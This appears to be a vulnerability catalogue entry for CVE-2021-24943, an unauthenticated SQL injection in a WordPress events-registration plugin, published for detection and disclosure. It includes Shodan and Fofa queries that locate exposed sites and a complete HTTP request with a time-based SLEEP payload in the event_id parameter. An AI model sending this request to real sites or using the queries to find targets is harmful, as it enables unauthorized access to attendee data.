| Title | Registrations for the Events Calendar < 2.7.6 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection through the event_id parameter, potentially extracting all Events Calendar registration data including attendee information. |
| Remediation | Fixed in 2.7.6 |
| CVSS Score | 9.8 |
| EPSS Score | 0.55452 |
| CVE ID | CVE-2021-24943 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/registrations-for-the-events-calendar/ |
| Fofa Query | body=/wp-content/plugins/registrations-for-the-events-calendar/ |
| Tags | time-based-sqli wpscan cve cve2021 wp wp-plugin wordpress sqli registrations-for-the-events-calendar roundupwp vkev vuln |
The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.
POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Content-Length: 78
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
event_id=3 AND (SELECT 1874 FROM (SELECT(SLEEP(5)))vNpy)&email=pEuPx@pEuPx.com
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24943.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24943.pcap
N/AN/A